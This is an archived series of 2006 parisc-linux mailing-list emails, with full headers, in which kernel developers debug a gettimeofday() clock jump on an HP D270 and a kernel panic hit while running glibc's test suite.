Original-Received: by wx-out-0506.google.com with SMTP id h31so1702491wxd
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Aug 2006 12:31:07 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=IEq5ERb9yDqO87GxBw+Cp3uOIKln7K7ZxGjs/M8k97akDErIx3h6pl2fBli2AuWF+nMuPfoivk8rg8nnLCVbsqilxGsZYojKgRpUL+FEKJTo8+hGB1mP89YY+lt6ieuDSnONNMol59DxaLEEAhOJBzngArZZfgcQcP1uJAtP2sc=
Original-Received: by 10.90.25.7 with SMTP id 7mr860528agy;
	Sun, 27 Aug 2006 12:31:07 -0700 (PDT)
Original-Received: by 10.90.54.16 with HTTP; Sun, 27 Aug 2006 12:31:07 -0700 (PDT)
In-Reply-To: <20060827151741.fe94122d.gmsoft@tuxicoman.be>
Content-Disposition: inline
X-Google-Sender-Auth: a4704fe18b495827
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: PMHIfCJVYW0+VLuGbmZpBDp0amthc9sX
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23912

On 8/27/06, Guy Martin <gmsoft@tuxicoman.be> wrote:
> I have an issue on my D270 with gettimeofday(). It looks like it's returning the time added with a few amount of seconds (usually 27) each now and then when there is some load on the system.
>
> I've made a simple test program :
>         while(gettimeofday(&tv, NULL) == 0) {
>                 printf("Time : %d sec, %d usec\n", tv.tv_sec, tv.tv_usec);
>                 sleep(1);
>         }
>

I tried this on my a500 and c3k but failed to reproduce the problem.
Can you reproduce the problem consistently on your c3600?
If you can, could you add a 'printk' to the time routines, try to get
the kernel to print out the same sequence so we can rule out userspace
interactions.

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gettimeofday() issue on D270
Date: Sun, 27 Aug 2006 22:26:53 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <20060827222653.3f3ef48d.gmsoft@tuxicoman.be>
References: <20060827151741.fe94122d.gmsoft@tuxicoman.be>
	<119aab440608271231j3856ea27h7c03e1c9722ae7e1@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624160 20738 80.91.229.3 (22 Nov 2014 02:42:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Aug 2006 20:26:30 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx019) with SMTP; 27 Aug 2006 22:26:30 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B8A087D7E8;
	Sun, 27 Aug 2006 14:26:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08608-04; Sun, 27 Aug 2006 14:26:26 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DDE107D7E9;
	Sun, 27 Aug 2006 14:26:24 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DF47B7D7E7
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Aug 2006 14:26:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08326-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Aug 2006 14:26:19 -0600 (MDT)
Original-Received: from smtp-out.coditel.net (smtp-out.coditel.net [212.95.66.33])
	by free.linux.hp.com (Postfix) with ESMTP id 99DC77D7E0
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Aug 2006 14:26:19 -0600 (MDT)
Original-Received: from smtp.coditel.net (localhost.localdomain [127.0.0.1])
	by smtp-out.coditel.net (Postfix) with ESMTP
	id B7BE5EB177; Sun, 27 Aug 2006 22:26:18 +0200 (CEST)
Original-Received: from ibiza.bxl.tuxicoman.be (cable-85.28.84.48.coditel.net
	[85.28.84.48]) by smtp.coditel.net (Postfix) with ESMTP
	id CEADD2FD5A; Sun, 27 Aug 2006 22:26:15 +0200 (CEST)
Original-Received: from [2001:6f8:310:400:213:ceff:fecc:b5be] (helo=localhost)
	by ibiza.bxl.tuxicoman.be with smtp (Exim 4.60)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1GHRCP-0004Nt-CI; Sun, 27 Aug 2006 22:25:41 +0200
In-Reply-To: <119aab440608271231j3856ea27h7c03e1c9722ae7e1@mail.gmail.com>
X-Mailer: Sylpheed version 2.2.4 (GTK+ 2.8.19; i686-pc-linux-gnu)
X-AV-Checked: clean on smtp.coditel.net
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: xYXELH4KZDI4DLHGdWY2BupxemhmY0H/
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23913


Carlos,

I wasn't able to reproduce at all on my C3600.

So far I was able to workaround the problem by making gettimeoffset() return 0 instead of the actual result. This is in arch/parisc/kernel/time.c.
It looks like gettimeoffset() returns a very large value when there is load on the system.
This value seems to be adding 27 secs to the actual time one every 5 to 10 seconds. I poll every second.

If possible I'd like to avoid rebooting that box but let me know if there is more info I can provide.


Thanks,
  Guy

On Sun, 27 Aug 2006 15:31:07 -0400
"Carlos O'Donell" <carlos@systemhalted.org> wrote:

> On 8/27/06, Guy Martin <gmsoft@tuxicoman.be> wrote:
> > I have an issue on my D270 with gettimeofday(). It looks like it's returning the time added with a few amount of seconds (usually 27) each now and then when there is some load on the system.
> >
> > I've made a simple test program :
> >         while(gettimeofday(&tv, NULL) == 0) {
> >                 printf("Time : %d sec, %d usec\n", tv.tv_sec, tv.tv_usec);
> >                 sleep(1);
> >         }
> >
> 
> I tried this on my a500 and c3k but failed to reproduce the problem.
> Can you reproduce the problem consistently on your c3600?
> If you can, could you add a 'printk' to the time routines, try to get
> the kernel to print out the same sequence so we can rule out userspace
> interactions.
> 
> Cheers,
> Carlos.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel crash while running glibc's make check
Date: Sun, 27 Aug 2006 22:30:17 +0200
Lines: 71
Approved: news@gmane.org
Message-ID: <7d01f9f00608271330m2f75bd66u62b4e87c28205779@mail.gmail.com>
References: <20060827180534.GB28838@titanium.v3.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624160 20742 80.91.229.3 (22 Nov 2014 02:42:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Jeff Bailey" <jbailey@raspberryginger.com>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Aug 2006 20:30:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx014) with SMTP; 27 Aug 2006 22:30:27 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8051B7D7F4;
	Sun, 27 Aug 2006 14:30:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08693-06; Sun, 27 Aug 2006 14:30:24 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B13D67D7F5;
	Sun, 27 Aug 2006 14:30:22 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 88D1F7D7F3
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Aug 2006 14:30:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08608-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Aug 2006 14:30:18 -0600 (MDT)
Original-Received: from py-out-1112.google.com (py-out-1112.google.com [64.233.166.177])
	by free.linux.hp.com (Postfix) with ESMTP id 4A1EF7D7F1
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Aug 2006 14:30:18 -0600 (MDT)
Original-Received: by py-out-1112.google.com with SMTP id w49so1815615pyg
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Aug 2006 13:30:17 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=mCCrGqdrcuV+cmkpkcEtUJW3Rm9EDFz07PpBGtNYj3vLeOIg02KDTJtLJCm0QdyMMMmb1tqq+9aRlIv4H8KJO4nYCMQJ9MoH68tGUt5o62BKglZAarUUZGljvdylxHzWfx8BeJWlHSnalSwvLTFvBtcpQFYLA3+Ef9HqElT00qw=
Original-Received: by 10.35.51.13 with SMTP id d13mr10676457pyk;
	Sun, 27 Aug 2006 13:30:17 -0700 (PDT)
Original-Received: by 10.35.27.7 with HTTP; Sun, 27 Aug 2006 13:30:17 -0700 (PDT)
In-Reply-To: <20060827180534.GB28838@titanium.v3.ca>
Content-Disposition: inline
X-Google-Sender-Auth: 1523051f3f345e1a
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 0zbBcHEoTXs9XKyRbmQ5Z6dKRzdyMoMC
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23914

On 8/27/06, Jeff Bailey <jbailey@raspberryginger.com> wrote:
> Hi!  As an attempt to help the glibc/NPTL efforts, I've upgraded to a
> recent kernel in order to make sure problems I'm seeing that are
> triggered by kernel bugs haven't already been fixed.  However, I can no
> longer make it through a glibc make check pass.
>
> I have reproduced this twice now, and both times it happens while
> running the tst-gettext4.sh script.  It doesn't seem to matter whether
> the system has a long or short uptime, or the amount of work done.
>
> Bug report particulars follow:
>
> $ uname -a
> Linux test148.lamont 2.6.18-rc4-pa4 #2 Sat Aug 26 08:52:30 EDT 2006 parisc GNU/Linux
>
> This is using the current gcc-4.1 in edgy with a binutils snapshot from
> mid-July.

Totally out of curiosity, if you have a chance to rebuild your kernel
with gcc-3.X and see if it dies the same way. I've been spotting some
strange variations between kernels built with gcc-3.X and gcc-4.X...

> I am using a serial console.
>
> jbailey@test148:/var/lib/dpkg/info$ cat /proc/cmdline
> root=/dev/sda5 HOME=/ console=ttyS0 TERM=vt102 palo_kernel=2/vmlinuz-2.6.18-rc4-pa4
>
> Noise from the console:
>
> test148.lamont login: kernel BUG at mm/mmap.c:1970!
> Backtrace:
>  [<1015cd58>] exit_mmap+0x17c/0x19c
>  [<10123a70>] mmput+0x48/0xbc
>  [<10128f18>] do_exit+0x114/0x8ac
>  [<10129728>] do_group_exit+0x78/0xbc
>  [<101348c0>] get_signal_to_deliver+0x2c8/0x4cc
>  [<1010fab0>] do_signal+0x68/0x814
>  [<1010c384>] syscall_do_signal+0x54/0xa0
> Kernel panic - not syncing: BUG!

Died in signal code, why am I not surprised? ;)

>  <3>BUG: scheduling while atomic: ld.so.1/0x00000100/10062
> Backtrace:
>  [<101023a0>] schedule+0x538/0x724
>  [<10138e48>] flush_cpu_workqueue+0xa0/0xf0
>  [<10138ee4>] cancel_rearming_delayed_workqueue+0x28/0x60
>  [<10231750>] lcd_print+0x58/0x178
>  [<10232c44>] process_shutdown+0x3c/0x6c
>  [<1012c33c>] tasklet_action+0x6c/0xf4
>  [<1012c198>] __do_softirq+0xd8/0xec
>  [<10104670>] __lock_text_end+0x48/0x4c
>  [<1010b068>] intr_return+0x0/0xc

This is unrelated. For some reason the led/lcd tasklet doesn't
'shutdown' properly on panic. I wonder if it's hooked to the panic
handler correctly (if it should)...

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/

<jbailey> Insert tab A into slot B doesn't take too long to figure
out.  Leave a couple horny kids in a room for an hour, they don't need
instructions.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gettimeofday() issue on D270
Date: Sun, 27 Aug 2006 17:07:41 -0400 (EDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <200608272107.k7RL7frm018389@hiauly1.hia.nrc.ca>
References: <20060827222653.3f3ef48d.gmsoft@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624160 20747 80.91.229.3 (22 Nov 2014 02:42:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: gmsoft@tuxicoman.be (Guy Martin)
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Aug 2006 21:07:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx091) with SMTP; 27 Aug 2006 23:07:51 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9D3A27D7F4;
	Sun, 27 Aug 2006 15:07:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09229-07; Sun, 27 Aug 2006 15:07:49 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 47F5E7D6F5;
	Sun, 27 Aug 2006 15:07:48 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AA6937D6E5
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Aug 2006 15:07:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09229-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Aug 2006 15:07:43 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 6BAB37D694
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Aug 2006 15:07:43 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id k7RL7geD018390;
	Sun, 27 Aug 2006 17:07:42 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id k7RL7frm018389;
	Sun, 27 Aug 2006 17:07:41 -0400 (EDT)
In-Reply-To: <20060827222653.3f3ef48d.gmsoft@tuxicoman.be> from "Guy Martin"
	at Aug 27, 2006 10:26:53 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: mj/HdWcIbUkoDenGPWgnQ9xkZ2hlN0oc
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23915

> So far I was able to workaround the problem by making gettimeoffset() return 0 instead of the actual result. This is in arch/parisc/kernel/time.c.
> It looks like gettimeoffset() returns a very large value when there is load on the system.
> This value seems to be adding 27 secs to the actual time one every 5 to 10 seconds. I poll every second.

Is this a 64 or 32 bit kernel?  The size of long changes.  There may
be a subtle issue with cr16.  It's reads as a 64 bit register.  However,
on writes, only the least significant matter.  I could see missing
a timer interrupt if we get close too close to the compare value.
The 27 seconds might be the time for the counter to wrap.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gettimeofday() issue on D270
Date: Sun, 27 Aug 2006 23:12:05 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <20060827231205.487025b1.gmsoft@tuxicoman.be>
References: <20060827222653.3f3ef48d.gmsoft@tuxicoman.be>
	<200608272107.k7RL7frm018389@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624161 20748 80.91.229.3 (22 Nov 2014 02:42:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Aug 2006 21:11:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx091) with SMTP; 27 Aug 2006 23:11:40 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7C99C7D7F4;
	Sun, 27 Aug 2006 15:11:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09586-04; Sun, 27 Aug 2006 15:11:37 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6E8EA7D7FA;
	Sun, 27 Aug 2006 15:11:35 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B1A817D7EF
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Aug 2006 15:11:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09451-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Aug 2006 15:11:31 -0600 (MDT)
Original-Received: from smtp-out.coditel.net (smtp-out.coditel.net [212.95.66.33])
	by free.linux.hp.com (Postfix) with ESMTP id 6CA977D6F5
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Aug 2006 15:11:31 -0600 (MDT)
Original-Received: from smtp.coditel.net (localhost.localdomain [127.0.0.1])
	by smtp-out.coditel.net (Postfix) with ESMTP
	id B1CD3EB14E; Sun, 27 Aug 2006 23:11:30 +0200 (CEST)
Original-Received: from ibiza.bxl.tuxicoman.be (cable-85.28.84.48.coditel.net
	[85.28.84.48]) by smtp.coditel.net (Postfix) with ESMTP
	id D8D3A2FD0A; Sun, 27 Aug 2006 23:11:27 +0200 (CEST)
Original-Received: from [2001:6f8:310:400:213:ceff:fecc:b5be] (helo=localhost)
	by ibiza.bxl.tuxicoman.be with smtp (Exim 4.60)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1GHRuA-0004RJ-3l; Sun, 27 Aug 2006 23:10:54 +0200
In-Reply-To: <200608272107.k7RL7frm018389@hiauly1.hia.nrc.ca>
X-Mailer: Sylpheed version 2.2.4 (GTK+ 2.8.19; i686-pc-linux-gnu)
X-AV-Checked: clean on smtp.coditel.net
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: vDjUbDjHLi5nE/fRZWtpd9ZjZml1ZFjE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23916



This is a 32 bit kernel.

On Sun, 27 Aug 2006 17:07:41 -0400 (EDT)
"John David Anglin" <dave@hiauly1.hia.nrc.ca> wrote:

> > So far I was able to workaround the problem by making gettimeoffset() return 0 instead of the actual result. This is in arch/parisc/kernel/time.c.
> > It looks like gettimeoffset() returns a very large value when there is load on the system.
> > This value seems to be adding 27 secs to the actual time one every 5 to 10 seconds. I poll every second.
> 
> Is this a 64 or 32 bit kernel?  The size of long changes.  There may
> be a subtle issue with cr16.  It's reads as a 64 bit register.  However,
> on writes, only the least significant matter.  I could see missing
> a timer interrupt if we get close too close to the compare value.
> The 27 seconds might be the time for the counter to wrap.
> 
> Dave
> -- 
> J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
